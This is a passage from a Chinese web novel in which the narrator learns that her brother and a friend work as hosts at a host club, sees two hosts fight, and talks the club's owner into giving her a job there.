熟悉的脸出现在视野里,我瞪大眼睛,震惊地看着熟悉得不能再熟悉、化成灰可能也能认出来的人! 哥哥穿着整齐的西装,面无表情从转角走出,红色的光落在他脸上,一时间有点陌生。 然而,我的震惊还没?结束。 在他身?后,不知何?时染了黑发的浦真天?跟着走了出来,眉头紧皱,表情不像之前看到的那样生动,而是冷硬的、陌生的。 他们隔着一段距离,一前一后地走。 白泉在我旁边冷笑,刻薄地评价:“果然踩着最后一分钟才出来,两个懒货。” 观察到不近不远的距离,他看好戏般笑出声,吊儿郎当地说:“还吵架了。” 他刚笑完,偏头看向?我,迟疑道:“……你这是什么表情。” “怎么像是大脑被?黑洞吸了一样。” 他说的没?错。 我的大脑已经掉进?黑洞里了—— 作者有话说:某个学哥再次被遗忘,在他视角里小冬已经戏耍他好几次,原本以为是来钓自己的,结果三心二意,把他当狗耍,所以他怒了,但是勾勾手,还是要凑上去 第17章 哥哥和浦真天出现在这里, 意味着他们在工作,意味着他们是?男公关?。 男公关?=卖酒,卖酒=钱。 两个公式让我的大脑皮层展开。 震惊很快消失殆尽,我开始觉得自己反应过激, 高利贷不是?那么?容易还完的, 男公关?来钱快, 当上男公关?也?很正常。 男公关?工资很高,那是?不是?说明,我马上就要过上有钱人的生活了? 想?到潘小谷念过的采访题目,我紧盯着白泉, 来了兴趣,兴致勃勃地问?:“你一个晚上能赚多少钱?” 白泉瞟了我一眼,又看向远处两人, 了然地抬下巴,鼻腔深处发出哼声,“你想?问?点他们要多少钱是?吧,别想?了, 你连酒都不敢点,他们就更?别想?了。” 他耷拉着眼皮,语气冷淡了些:“那两个人清高得很,不会答应你的。” 我:“我是?问?你, 又不是?问?他们。” 白泉眼睛闪过光, 盯着我, 咬了下唇环, 慢悠悠地勾起唇角,拖长音调说:“想?点我?果然你就是?心怀不轨,你有眼光, 毕竟我很帅嘛。” 人怎么?能自恋成这样。 我撇向他身后,已?经看到潘小谷她们憋笑的模样。 但白泉丝毫没?有察觉,偏着头看我,大概是?知道怎么?摆最帅,浓密的睫翼微垂,光滑过他的鼻梁,落在嘴唇上,他舔了下唇,伸手勾走我前面的杯子,将它虚虚握着。 他长得确实好?看,五官张扬,眉压眼,攻击性浓烈,虽然孑然不同,但莫名?让我想?到了麦景,于是?有点不爽。 怎么?没?有人打他几顿呢。 “我嘛,不是?你点得起的,不过——” 白泉看向我,咧开嘴,露出单边尖尖的虎牙,他就是?用这颗突出的牙齿咬的唇环,“今天正好?打折。” “我不要打折啊。”我拧着眉,重申道:“我只想?知道你一晚能赚多少。” 白泉不相信,反问?:“不想?点,你问?它干嘛?” “我想?知道男公关?到底能赚多少。” 他不解地哈了一声,挑眉道:“怎么?你还想?当男公关?不成?” 他越是?不说,我越觉得里面有大利润,赚钱的人都不敢说自己赚钱了,除了我那败家的父母。 我摸着下巴,自言自语道:“我觉得他们一定?赚得很多。” 如果哥哥每天上班,想?必再过不久我就能过上豪车别墅的生活,原来他说一定?能幸福不是?在骗我。 “那你来这到底干嘛?”白泉臭着脸,不爽地说:“单纯来喝水吗。” “对?啊。” 我理直气壮:“就是?来喝水的。” 没?有执行到第二步,倒是?找到哥哥工作的地方了,以后多来这,我不信找不到储备粮。 而且,我看向面前的人。 无形中,甜蜜得腻人的气息正萦绕在我的鼻尖,锲而不舍地往鼻腔里钻,虽然他板着脸,不爽地盯着我,但食物的气味更?加浓郁了。 同样的甜,同样的长得欠打。 一个越甜越腻人,一个越甜越苦涩。 他或许可以替代麦景。我想?。 “你还没?回答我的问?题,到底能赚多少啊?” “比你想?象中多得多。”他啧了一声,“我可是?这最帅的,你说呢。” 这我可不能答应了,我哥才?能当销冠,他的钱可是?给我用的! 我指着不远处的哥哥,“治治眼睛吧,他可比你帅多了。” 白泉的眉头压低,视线看向我指的方向,片刻后明白了什么?,又开始不爽,“你一直往那边看,还说不是?想?点他们,拿我当助兴剂是?吧。” 他站起身,直接朝着那边喊了一声,动作之大,引得其他人纷纷瞩目。 白泉毫不在意别人的目光,甚至挥起手,像个疯子似的,就差站在桌子上吸引所有人的目光,他叫道:“你们过来一下,这边有人想?见你们!” 我被他的行为吓了一跳,发现这人喊完,朝我故意扬起眉,甚至挑衅地笑了起来。 他是?疯子变的吗? 注意到我的视线,他笑得愈发猖狂。 大厅的歌依旧播放着,但掩盖不住白泉的呼喊声,好?几个游走的男公关?停下脚步,看好?戏般看了过来。 我想?着干脆打个招呼,正举起手,哥哥瞬间表情空白,距离有点远,但我将他的表情看得清楚。 再然后,他从我的视野中消失了。 真的消失了。 他直接躲到墙柱后,动作很快,只是?一眨眼的功夫。 浦真天没反应过来,茫然地站在原地,看到我时,仍然愣怔在原地,拳头猛然握紧,想?要转身离开,但双腿停在原地,像是?遭遇车祸的人,面对?冲击却只能站着不动。 “哈?这是?什么?反应。”白泉饶有兴趣地打量他,“还有个胆小鬼跑了,真好?玩。” 他又喊了声,这次指着浦真天,让所有人看向他,“过来啊,叫你呢。” 浦真天反应了好?几秒,垂着头不知道在想?什么?,最后还是?迈动脚步,朝我们走来。 他走得很慢,像是?要花费整个晚上似的,等站到面前时,他抿着唇,露出一个强行提起的笑,朝我们抬起打招呼。 “你们好?,我……我是天真。” 浦真天别着脸,刻意躲避我的视线,让我百思不得其解。 我凑近几步,以为他没?看到我,“浦哥,你刚刚没?看到我吗?我哥——” “小冬。”他突然打断我的话,微蹙着眉看着我,面色凝重得能滴水,是?我从没?见过的表情,在我的印象里,他总是?拘谨、有些土气的。 像是?山雨欲来,他的表情复杂。 浦真天压抑着情绪,艰难地说:“这不是?你该来的地方。” 白泉横插进来,挑起眉头,诧异地说:“你们认识?原来是?熟人,怪不得一直往那看。” 他忽然品出点什么?,嘴角勾起,视线在浦真天绷着的脸上打转。 “你说的是?第一次来吧,难不成他没?告诉过你,他是?做什么?工作的?” 浦真天眉头越拧越紧,生气道:“泉卓逸,这是?我们两的事,和你没?关?系!” “草你爹的,谁准你喊我名?字?” 白泉霎时黑了脸,眯起眼睛,“我还没?叫你真名?呢,浦真天!” 短短几秒,他们的艺名?全部射了出去。 我正在思考现在的情况,衣角被人扯了扯。 潘小谷惊恐地瞪大眼睛,无声地比口?型,旁边苏音仪和卫菱已?然灵魂出窍,瞪大眼睛搞不清现状。 我盯着潘小谷的嘴唇看,努力?分辨她的话,但还只看到半截,手臂被猛地拉了一下。 “你说,他是?不是?瞒你了,找这种人当男朋友,你的眼光有够差的——” 他还没?说完,握着我的手瞬间被打开,龇牙咧嘴地倒吸气。 “不要碰她。” 浦真天呼吸不匀,胸口?剧烈起伏,他比艺名?叫白泉的泉卓逸高半个头,微微俯视看着他,带着强烈的压迫感,“还有……我们不是?那种关?系。” 他的拳头握得很紧,手臂上青筋凸起,像是?盘踞的藤蔓,“你对?我有意见,不用带到别人身上。” 他的话让泉卓逸冷笑出声,眉眼愈发阴沉,露出赤裸的攻击性。 “你知道就好?,但是?我可没?有把情绪带到别人身上,该攻击谁我还是?知道,而且我跟她的事,你管不着。” “你——” 浦真天被再次激怒,猛地攥住他的衣领。 泉卓逸也?不躲,任由他扯着,甚至有时间咧嘴笑,讽刺至极。 “我知道你为什么?看不惯我,你不过是?因为赢不过我,赢不过你看不起的人。” 泉卓逸瞳孔一缩,咬牙切齿地说:“胡说八道,你从来都没?赢过我!” 气氛愈来愈差,眼看着肢体冲突就要升级,我赶忙往旁边避,顺便喊傻坐在位置上的人。 其他围观的人察觉到变化,纷纷开始吃瓜,大部分人事不关?己地坐着,有几个好?事者?交头接耳,兴致匆匆地交谈,我看到不远处有人急忙往外走,似乎是?去打报告了。 苏音仪傻眼了,慌乱地说:“怎么?办啊,不会真打起来吧?” “为什么?小冬认识的人会是?男公关?,我真的不是?在做梦吗。” 她们三个纷纷看向我,眼睛像光柱似的,势必要我给个解释。 我也?搞不清楚现状,只能说:“我也?是?第一次知道,他们在偷摸发大财。” 潘小谷大惊失色:“他们?还有人?” 卫菱忽然捂住她的嘴,摇摇头,示意她别说话,瞬间所有人安静下来,空气逐渐凝固。 我放在兜里的手机忽然开始震动。 是?哥哥发的消息。 [哥]:小冬 [哥]:回家吧,小冬 [哥]:等晚点我亲口?告诉你发生了什么?,好?不好? [哥]:先回去吧 [哥]:好?吗? …… 他的消息又快又急,还蹦出几个错字。 我想?了想?,开始打字。 [世界第一恶魔大人]:可是?我还想?再待一会 [世界第一恶魔大人]:你为什么?不出来? 还没?看到他回的消息,玻璃破裂声倏地炸开,有人尖叫出声。 浦真天和泉卓逸不知何时结束对?峙,已?经你一拳我一拳地打起来,场面冲击力?十足,吓得好?几个客人往外走,说男公关?发疯了。 就在事情逐渐失控之际,有人姗姗来迟,厉声喝止打斗的两人。 声音有点耳熟。 我转头看去,看到拧着眉出场的宗朔,不同于网吧邋遢随性的打扮,遮盖住眼睛的刘海被撩起,露出颓丧下垂的眼睛。 西?装革履,花边领口?,像是?刚从某个舞会离场似的。 他注意到我,表情空白一瞬,微微睁大眼睛—— 作者有话说:ps:哥哥直接跑了,不敢见面 明天上夹子,所以明天才回晚上更新[墨镜],爱你萌 第18章 我看着他, 他看着我。 虽然什么也?没说,但我从他的眼睛看出了无语,以及转瞬即逝的心虚。 宗朔很快移开目光,叫住扯着领子的两人, 胃疼似的叹气, 说:“这次又是什么情况, 工作之前还打架,把上面的客人晾在旁边,是想这个月的绩效全扣完吗。” 语气平静,带着淡淡的威胁之意。 浦真天愣住了, 松开紧握的拳头,还没收回手,对面的人猛地挥开他, 让气氛再?次紧张起来。 泉卓逸面无表情地擦嘴角,他们打架很默契地避开了脸,但架不?住他身上的五金饰品太多,自己把自己给割伤了, 嘴角出现一道划痕。 “是他先惹事?的。” 宗朔来了之后?,他收敛不?少,只是努着嘴,双手插兜, 微微弓着背, 一脸无所谓。 浦真天抿着唇, 没有再?搭理他的挑衅, 垂着头说:“对不?起,我马上就上去。” “行了行了,都各归各位, 别让客人看了笑话?。” 宗朔充当着和事?佬,朝着周围旁观的人摆手,熟稔地处理局面,颇为大气地说:“今天晚上酒水全场五折,请各位见谅。” 在其他男公关们起哄的打闹声中,这件事?就此揭过。 宗朔在浦真天耳边说了几句,拍拍他的肩膀,紧接着来到泉卓逸面前,表情冷淡,嘴唇张合,因为距离有点远,我听不?清他在说什么,只看到泉卓逸脸色难看几分,眉头凝聚起乌云。 等讲完话?,泉卓逸低着头,额前头发遮盖住半张脸,嘴唇绷着一条线。 他从浦真天旁边错身而过,肩膀毫不?示弱地撞了上去,浦真天后?退两步,皱眉看向他。 泉卓逸很快离开现场。 浦真天在原地逗留片刻,越过宗朔的身影,向我看来,想要说什么,但片刻后?,他垂头丧气地转身,走向泉卓逸离开的方?向。 其余人也?转回头,大厅再?次回归原样,看热闹的散尽,只剩下一座满地狼藉。 虽然我们也?没点什么,但桌上有很多杯子,被噼里?啪啦摔了一地。 宗朔看了眼地上的碎片,长腿跨过,随手叫来旁边的人,让他打扫干净,顺便重新拿几个新杯子,重新添上水。 等处理完狼藉,他才?来到我们面前。 宗朔像是才?发现我一样,虚假地惊讶道:“哟,挺巧。” “才?几天不?见,已?经有钱点男公关了。” 虽然我快富了,但我现在没富。 我纠正道:“我没点,他自己过来的。” “哦~那你来干嘛。”他的视线滑过我身后?,看到潘小谷三人,忍不?住牙疼地吸气,“高考完要体会下大人的生?活吗,别闹了,赶紧回去,这里?不?是你们能来的地方?,至少也?要有点钱吧,要不?然等着被掏空,背上负债吗?” 我寻思买酒为什么会背上负债,买不?起就不?买呗。 ……难道说这里?是黑店? 我摸着下巴,看向宗朔的眼神带上鄙夷,“没想到你当男公关,道德如此低下。” 他忍不?住笑出声,慢悠悠地说:“都男公关了,难不?成还是正常人吗,而且我道德低下这件事?,你不?早就知道了吗。” 宗朔的声音很低,此时笑着说话?,有种?故意勾引的感觉,让我不?由摸摸耳朵,浑身不?适,转头一看,果然看到潘小谷她?们脸上写着吃瓜两个字。 “早点回去吧。”他收敛笑意,正经了些,“这里?不?适合你们。” 潘小谷也?来拉我的衣角,小声说不?如回去吧。 “不?行。”我说。 “我要等到下班再?走。” 在这能吃,能玩,我才?不?走嘞。 宗朔撩起眼皮,定定地看了我几秒,拿起手机,问:“想要多少,上次那个行不??” 哇塞,还有钱拿。 我没忍不?住诱惑,差点开口同意,幸好有人打断我们,在宗朔耳边说了什么,他皱了下眉,疑惑地看向我,最后?长长地叹气,随便抓了下头发,额头前冒出碎发。 “走吧。去旁边说话?。” 他看向骤然紧张的三人,解释道:“我不?是坏人,我和她?认识几年?,要是坏人,她?的腰子早就没了,你们可以放心。” 虽然在宽慰,实际起到的作用为0。 我拍拍苏音仪的手,朝潘小谷点点头,让她?们等我一会。 等安抚好朋友们,我快步走到宗朔旁边,赶紧说:“你也?别闲着,先把钱转了,万一等会你忘记了怎么办?” “你也没走啊,我给你干嘛。” “那我现在走。” 宗朔无语,“行行行,给你转!” “没钱还来这,你到底在想什么,总不?能是因为谁来的吧。”他摆弄手机,视线若有若无扫过我,意味不?明地问。 我直接点头,现在我的未来可期,钱和食物都在向我招手,过上吃饱喝足的米耗子生活指日可待。 他问:“哪个?” “不会是浦真天吧。” 我摇摇头又点下头,表示1/2同意,他提高音量,难以置信地问:“难不?成还有两个,你有够花心的。” “我怎么就花心了?” 我满头雾水,花心是指喜欢很多人,我哪里?算了? “渣而不?自知啊,你这种?人最可怕了。” 他污蔑完我,身上却冒出薄荷的凉气,让我更是不?能理解。 宗朔带我走进一条走廊,两边挂着油画,在光下散发着昂贵的光,比起大厅吝啬的用电,这里?亮得像是别的世界,两边的门做了造型,像是电影里?一样华丽。 我东摸摸西摸摸,在听到宗朔说一副要几百万后?,震惊不?已?,问他能不?能送几副给我。 宗朔闻言,嘴角抽了下,懒散地说:“画不?是我的,我也?只是个打工人,你要真想要,可以问问老板。” 我:“老板是谁?” “我。” 他在走廊深处的门口停下,手握着门把手,困倦地打了个哈欠,不?要脸地说:“我不?同意。” 他拉开门,让我推了进去。 办公室格外宽敞,靠墙立着书架,上面摆满了写着鸟文的书,看着格外唬人。 桌面上摊开一本书,旁边还放着钢笔,像是刚工作完,还来不?及整理,整个办公室充盈着一股刻板的书香气。 简而言之,是社?交媒体最爱拍照的地方?。 我的视线在房间里?打了个转,最后?定睛看向桌上的书。 文字越看越奇怪,越看越眼熟。 我不?由念出声:“一夜荒唐,他难以置信,掀开被子口口口口——” 屏蔽了,念不?出来。 这不?是我之前分享给他的地摊文学吗?他当时还嫌弃说狗都不?看。 现在这个房间里?有条狗。 原本气定神闲的宗朔立马转身,一把掩盖住桌上的书,“你怎么还念出来了呢,不?该先震惊下我有办公室吗。” 我看到桌上金色的挂件,应景地震惊道:“哇。” “你也?可以保持安静。” 他把书扣上,随手丢进抽屉里?,在我开口前,率先说:“假的,拼叉叉上五毛一个。” “你要可以送你。” 我还是不?死心,又问:“那外面的画——” “拼叉叉三十块钱奢侈品,不?能送你。” 我很失望,竟然没有一个值钱的东西,视线转向写着鸟文的书,猜想那些应该也?是假。 但报道说男公关很赚钱啊,当老板岂不?是更赚钱。 “我不?信,你现在装穷,已?经为时已?晚!” 他靠在桌边,诚心地说:“我哪里?骗你了,虽然是老板,但我可是要给所有人发工资的,像我分成的老板哪里?找,而且买酒也?是要钱的,一个月几百万的业绩全拿去交房租、水电费和买酒了。” “我的工资也?只有业绩而已?。” 宗朔用手摆弄桌上的挂件,抬眼看我,“而且这家?店,也?不?是只有我一个老板,我也?只是个挂名的员工罢了。” 不?时髦的双重身份,不?如没有。 他的语气格外诚实,大有一副摆烂的姿态,让我有点信了。 “那其他老板呢?” “投资完开公司去了。”宗朔摇摇头,道:“有钱人的想法,你别猜。” “还有什么想问的。” “你带我来办公室干嘛。” “好问题。” 他说:“你认识栾明?” “他是我哥。” 宗朔沉吟一声,点点头,“他刚刚让我把你们弄出去,那里?人多眼杂,我就带进来办公室问问。” “你可没说过你哥是做男公关的。” “我也?不?知道啊。” 我想到这,急切地凑过去问他:“我哥业绩怎么样,是不?是这里?最高的?” “……你想什么呢。” “我就想知道他一个月能赚多少钱,说不?定再?过几个月就能买大房子,不?用住在浦真天家?里?了。” “……” 宗朔没说话?,下意识往兜里?摸,摸出一条被人咬过的、乱七八糟的烟,嘴角抽了抽。 我摸着下巴,说:“这烟有点眼熟。” “洗衣服的时候忘记丢了。”他平淡地解释完,末了斜了我一眼,“就是你搞的。” 他又摸了摸左边的口袋,但没有摸到其它的烟,干脆就点燃手里?的,咬着乱糟糟的烟头,半眯着眼睛。 “有些事?,你哥应该今天晚上就会告诉你,你自己回去问吧。” 他吐出口白烟,拿烟的手指了下门:“也?不?早了,你不?想回去,你的朋友们也?该回去了。” 我看着他抽烟,牙齿契合在我留下的咬痕上,隔着烟雾,他的眼神变得陌生?,有种?隔着玻璃看雨、脸上如同蛛网般的粘稠感。 我在思考一件事?。 哥哥在这工作,浦真天在这工作,宗朔也?在这工作。 那这岂不?是就像是我家?一样?! 对工作和人生?规划的思考闪过大脑,我瞬间想通了所有事?。 我升华了,我找到了史诗级捷径! 我说:“我要工作。” “什么?” “我要这工作。”我理直气壮,“我可是有关系的人,老板给我走个后?门吧。” 第19章 “?” 宗朔眨了下眼?睛, 表情?迟疑,“你要当男公?关?” “NoNoNo。” 我竖起手指左摆右摆,诚恳地说:“我来?帮你管钱吧,反正?你也不?会?记账, 办公?室还这么空, 很需要一张新的桌子!而且我看你们没有前台诶, 我来?吧,我什么轻松的活都能做。” “你还给自己安排上工作了,在想什么,你知道?男公?关是什么吗。” 我:“卖酒的啊。” 宗朔抽了口烟, 掩盖住自己的无语。 吐出烟雾后,他扶着额头,苦笑说:“你别乱搞了, 回?家睡觉吧。” “不?行,你今天?不?答应,我就不?走。” 论赖皮,可没人比得过我。 我像海鸥一样, 嗖地夺走他夹在手指间的烟,威胁道?:“要不?然你就别想得到这根烟了。” “笑死,以为我很想要一样。” 震慑不?到他,我又有个?馊主意, 去抢他的抽屉, 想把原来?那本簧书翻出来?, 结果他眼?疾手快, 反手勾住我的腰,把我抬到椅子上,双手堵在两边。 宗朔实在没招了, 忍不?住质问我:“你到底想干嘛啊,别闹了行吗,来?这上班像什么样。” “可是我想待在这啊,我想和哥哥待在一起。” 我仰头看他,带着十分的真诚,“我不?想一个?人在家里?。” 我采用眼?神攻势,企图用谁先眨眼?谁就输的比赛让他屈服,看得他逐渐绷不?住脸。 他:“你不?问你哥怎么想?” “他听我的。” “到底是谁把你养这样的,真的是……” 宗朔侧开身,缓慢地收回?手臂,懒懒地说:“行吧,就让你来?几天?,你自己就知道?苦,工作不?到一个?月,我可不?会?给你发工资。” “现在可以回?去了吧。” 果然,赢家最终只会?是我! 我满意地点点头,刚想往门口走,忽然想起烟还在手里?,抬手放在他嘴边,挤开唇瓣,抵在他的牙齿上。 宗朔半垂着眼?看我,片刻后,顺着力?道?张开嘴,用牙齿咬着滤嘴,吸口气后,吐出薄荷味的烟,“现在讨好我,是不?是有点晚了。” 我飞快来?到门边,握着把手,在离开前补充道?:“记得打钱,你还欠我十万。” “周扒皮……”他捏着烟,暗骂道?,“别拿钱去乱搞事。” 我朝他做了个?鬼脸,嘭地关上门,飞快跑出走廊,来?到惴惴不?安等待的朋友们身边,一见到我,潘小谷立马站了起来?,拉着我左看右看,确认无事后长舒口气,“还好,四肢健全,器官一个?没少。” 苏音仪神经紧绷,左看右看,小声地说:“我们回?家吧,万一又打起来?咋办,这些男公?关感觉有精神问题。” 她们一致认为这家店有毒,也不?管看没看到帅的,赶紧拎包走人。 为了保证我的安全,她们把我送到家门口,也没问我怎么换了新住址,每个?人默默给我转了几百块钱。 我打开门,躺在沙发上开始整理今天?的收获时,才?想起忘掉了什么,于是连忙点开聊天?界面,查看凉掉的消息。 [柯觅山(有钱)]:学妹最近在做什么?高考结束,是不?是应该放松一下。 (五分钟后) [柯觅山(有钱)]:换个?手机吧 我删掉聊天?框里?的[极乐世界],重新打字。 [世界第一恶魔大人]:你说得对 [世界第一恶魔大人]:(憨笑.jpg) 此时距离他的上一条消息,已经过去两个?多小时,对面没回?复,不?知道?是睡了,还是在生气。 我点进他的头像,发现一条新的动态,几张照片拍摄于高档宴会?,背景人影绰绰,举杯欢庆,拍摄时,他像是站在偏一点的位置,照片半截暗,半截亮。 配字只有一个?酒杯(emoji版)。 好装。我嘶了一声,迅速叉掉他的页面。 我想了想,点开和哥哥的聊天?界面。 界面上全是他发送的蓝色消息,结尾时戛然而止,停留在“好吗”两字上。 [世界第一恶魔大人]:我到家了 [世界第一恶魔大人]:有个?好消息告诉你! 他应该在工作,所以没有回?消息。 我又点开宗朔。 [世界第一恶魔大人]:明天?几点上班 只经过一秒钟,对面的消息嗖地弹了出来?。 [宗贱朔人]:早上七点,迟到一秒就算迟到 [世界第一恶魔大人]:你骗人,我哥明明下午才?上班! [宗贱朔人]:你应聘不是男公关吧,干嘛和他们一起上下班 [世界第一恶魔大人]:那明天早上,我要是没看到你,你就完了 [世界第一恶魔大人]:(刀.jpg) [宗贱朔人]:…… [宗贱朔人]:那你下午17点来?吧 我得意地昂起下巴,就知道?他压根起不?来?,每次打游戏都是下午,他肯定就没有早上清醒的时候。 麻烦事全部解决,我开始畅快地刷短视频,激动隐隐作祟,越刷越兴奋,在家里?乱蹦乱跳,把沙发上的娃娃推到地上,弄得一团糟。 等门口传来?响动,我正?在倒立刷手机。 门被打开。 我扑腾起身,快步来?到他面前,笑着拉着他的手,“好消息!天?大的好消息!你想不?想听?” 他听到后肯定会?乐死! 我兴奋地观察他表情?,想要捕捉他惊讶的瞬间。 哥哥笑了笑,努力?勾起唇角,语气却是疲惫的,身上裹挟着浓重的酒味。 他说:“……你说吧。” 他身后的浦真天?换完鞋子,沉默地绕道?往里?走,甚至屏住呼吸,不?想引起注意。 我握着冰冷的手,开心地说:“我要去你工作的地方工作!” “我找到工作了!” 和我想象中不?同,哥哥没有惊喜,也没有高兴,他的表情?骤然变得空白,抓住我的手用力?,顶光投下浓重的阴影,遮盖住他的上半张脸。 他盯着我,黑沉的眼?珠没了光。 哥哥用从牙齿里?挤出的声音说:“你说什么?” 我重复道?:“我要去[极乐世界]工作。” “不?行!” 男声猛然响起,不?是哥哥说的,因为他抿着唇,只用黑沉的眸子看着我,眼?睛眨都不?眨。 浦真天?的反应强烈,情?绪犹如丢进水里?的泡腾片,哗啦啦地冒着气泡,他几步来?到我面前,握着我的肩膀,严肃地说:“你不?能去哪里?,那不?是个?好地方!” “可是你们都在,为什么会?不?好?” 浦真天?气得结巴:“它?……它?就是不?好!你知道?里?面的男人是做什么的吗?” 我疑惑地回?道?:“我知道?,男公?关啊。” “男公?关、男公?关就是不?好!” 他也不?知道?解释,一个?劲地说不?好,在方言和普通话来?回?切换,“他们可以毫不?顾忌地批欺骗任何人,手段下作无耻,为了钱什么都做的不?能,就算出卖身——” “不?要说了。” 哥哥脸色阴沉,脸色像是要吐出来?似的苍白,止不?住地抓挠脖颈,划出几条红痕。 等缓过来?,他抓着我的手,低低地说:“小冬,别去,就待在家里?吧,我养你一辈子,不?管你需要什么,我都会?给你,我会?努力?买大房子,会?努力?给你赚钱……别去,别去那好不?好……就当哥哥求你。” 他用额头抵着我的手背,汗淋淋的、像是经历了一场大病,濡湿地发冷。 我的脑袋灵光一闪,班主任课上讲的知识在高考后突然袭击我的大脑。 ——液体蒸发会?吸热,所以他的额头才?会?发冷。 高考的时候要是想起来?,说不?定还能填几个?空。 我看着他的头顶,说:“那就当我求你吧,我不?要待在家里?。” “……” 沉默有点漫长,我能听到门外蝉在叫,楼下不?知道?流浪狗汪了两声,爪子踢嗒踢嗒,飞快跑向远处。 浦真天?还执着于劝我,在我耳边絮絮叨叨地吹耳旁风,但是说来?说去怎么也说不?出为什么不?能去,他的眉头皱在一起,最终正?色地说:“我会?看着你的,不?要和那些人有更多联系。” 哥哥沉默了,他倒是话多起来?。 自从我拒绝哥哥的请求后,他就像只闭上嘴的蚌壳,不?言也不?语,默默地收拾地上的玩偶,打扫卫生、洗澡做饭…… 坐在沙发上时,浦真天?也不?着急回?房间了,他守在我旁边,挺直脊背,警惕地问:“你和宗朔什么时候认识的?” 我翻找回?忆,在几年前的角落里?找到了源头。 “高一的时候。”我说,“我在网吧遇到的。” “网吧?” 浦真天?十分诧异,迷惑不?解,迟疑地说:“他真的会?去那种地方吗?” 我:“保真。” “他打游戏和我一样菜,唯一的优点是能帮我骂人。” 要是宗朔知道?我这么评价他,肯定会?龇牙咧嘴骂我白眼?狼。 “那明子知道?这件事吗?你为什么不?告诉他,外面的人不?会?像我们一样对你好,你要有警惕心才?行。” 浦真天?看了眼?在厨房里?的哥哥,没忍住开口问他这件事,但没有得到任何回?应,哥哥像是没听到似的,继续擦拭桌面。 浦真天?握着拳头,缓缓扭回?头,看向地面,眼?神晦暗不?明。 就像是泉卓逸说的那样,他们应该在吵架,所以才?会?不?说话。 我打了个?哈欠,起身拍浦真天?的肩膀,安慰道?:“我哥是个?大好人,他不?会?一直生你的气的,你去道?个?歉,明天?他的气就消了。” 浦真天?僵在原地,下意识看向厨房,确定哥哥没有转头后,犹豫地说:“可是,他好像不?是生我一个?人的气吧……” “难不?成还能生我的气?” 简直就是无稽之谈! 睡觉的时候,我想到他话,又没忍住笑了。 栾明怎么会?对我生气呢?让他生气的只有浦真天?而已。 我笃定地想,沉沉陷入梦中—— 作者有话说:也该有人正式上桌了,呵呵呵呵呵,猜猜第一个是谁[墨镜] 第20章 栾明?真的生气了。 在出门的时候, 他居然无视我的手,一个人走?在前面,我也才?后知后觉,他整个下午都?没和?我说过?话, 只是一个劲地做卫生。 我起?床的时候, 他在打扫客厅, 我坐在沙发上的时候,他去了阳台,给愈发茂盛的盆栽换了土,把它放在新搭建好的支架上。 我到哪里, 他就去另一个地方。 但由于距离足够吃饭,我完全没注意?到! 他的背影挺拔,像一颗固执的树, 光秃秃的没有叶子,大?夏天还要穿外套,虽然到车站只有一千米,但太阳毒辣, 他穿着黑色外套,沉默地热着。 浦真天比他落后一点,走?在我斜前方,不敢太快, 也不敢走?到我旁边, 面带愁容, 像是走?在去刑场的路上。 “我被你害了。” 浦真天茫然回头, “什么?” 我怒道:“他把对你怒火燃烧到我身上了!” 浦真天苦笑,也不反驳我,视线落在哥哥的背影上, 喃喃道:“也不知道明?子打算什么时候原谅我们。” “你给他道歉没?” “……道歉了。” “那为什么呢?” 我百思不得其解,道:“明?明?我每次道歉完,第二天就好了呀,你是不是没有诚心地道歉,要像我一样真诚好吗。” 浦真天沉默片刻,点了点头,头发干燥蓬松,因为又漂又染,发质干枯,虽然染回黑色,但是多洗几次也掉色,变成棕黄色。 比他眼睛的颜色要深一点,像树皮。 察觉到我在看他,他抬手摸着后脖颈,躲避着我的视线,昨天打架时的戾气消失得无影无踪,又变回软绵绵的、拘谨的样子。 从公寓到[极乐世界]要花费很久的时间,所以需要早早出门去坐公交车,然后再转乘地铁,我抗议为什么不能坐出租车时,只有浦真天安慰我,哥哥仍然杵在不远处,握着栏杆不知道在想?什么。 经过?漫长的路程,我成功睡着了,等醒来?时,正靠在浦真天臂膀上流口水,他的衣服因此洇湿一块。 但他只是拍了拍,叮嘱我拿好东西。 我跟在他们身后,轻车路熟地拐进街道,和?晚上的五光十色的灯景相比,暴露在日光下的[极乐世界]俗气又刺眼,主要是因为招牌,为了揽客,字做得又大?又俗,还用勾了一层金边。 进入内部,大?厅比晚上亮一点,窗帘半遮半掩,素颜戴口罩的男公关们正在懒散地休息着,像是乌鸦落在大?厅的各个位置。 哥哥停顿在门口,盯着手机看了会,快步进入转角处,我刚想?追上去,浦真天拉住我,认真地说:“今天晚上你就待在角落里,不要和?那些男公关说话,他们说什么都?别听,如果渴了,就跟我说。” “我也是有工作的。” 我当然不会听,心思蠢蠢欲动,想?着先熟悉地盘,等了解了就开始找人薅羊毛。 “宗朔呢?” 我左看右看,没看到属于老板的身影。 浦真天:“他一般晚上八点才?会到。” 那还叫我五点来??! 我拿出手机,噼里啪啦地轰炸他,他没有回复,可能真的还在睡觉。 我嘟囔着:“懒成这样怪不得不挣钱。” 进入大?厅时,男公关们已经朝我们投来?视线,和?身边的人窃窃私语,目光犹如灯柱,把浦真天照得身体紧绷,低着头挡在我身前。 哥哥不在,浦真天走?哪,我就跟到哪,自动开启跟随模式。 在经过?大?厅时,我眼尖地看到昨天晚上来?我们桌搭话的男人,凭借下颌线认出来?的。 他看到我,抬起?手打招呼,素颜时眼皮肿得像核桃,根本看不到眼睛,他指了下我,又指了指自己,嘴巴作势要张开。 一道巨大?的阴影遮挡住了我的视线,我抬头看去,对上浦真天棕色的眸子。 “小心他们,不要搭理这种?人的搭讪,他们都?有目的。” 我:“什么目的啊?” “骗钱。” 我若有所思地点点头,“那我得好好保护你们。” 他不明?所以,沉重的表情一碰就碎,露出看起?来?很笨的笑,说:“应该是我们保护你才?对。” 他肯定没听懂我在说什么。 我也不解释,跟在他身后在大?厅饶一圈,等回到原点,我疑惑地问:“我们现在是在干嘛啊?怎么还回来?了?” “……我在找座位。” 浦真天尴尬地挠挠脸颊,“想?给你找个没人的地方,但是他们都?看着,我没敢占位。” 我:“……” 再这样下去还要绕场三?圈,我果断拉住他的手,直接往最角落的地方走?,靠近窗户边,落地窗帘堆叠在角落里,遮挡了大?半边沙发,从远处看去,像是和?墙角融为一体。 没人,又安静。 完全符合心理预期。 我撒开他的手,蹦上沙发,像在家一样肆意地躺下。 浦真天在旁边看了一会,离开片刻后抱着软垫回来?,又倒了几杯水,小声地说:“饮水机在那边的吧台后面,你想?喝水就去倒,那一般是自助形式的,没有酒保。” 我:“那万一有人偷酒呢?” “应该不会吧……有监控,能拍到是谁。” 我颇为可惜地叹气,还以为能顺几瓶走?,偷尝一下名贵酒水的滋味。 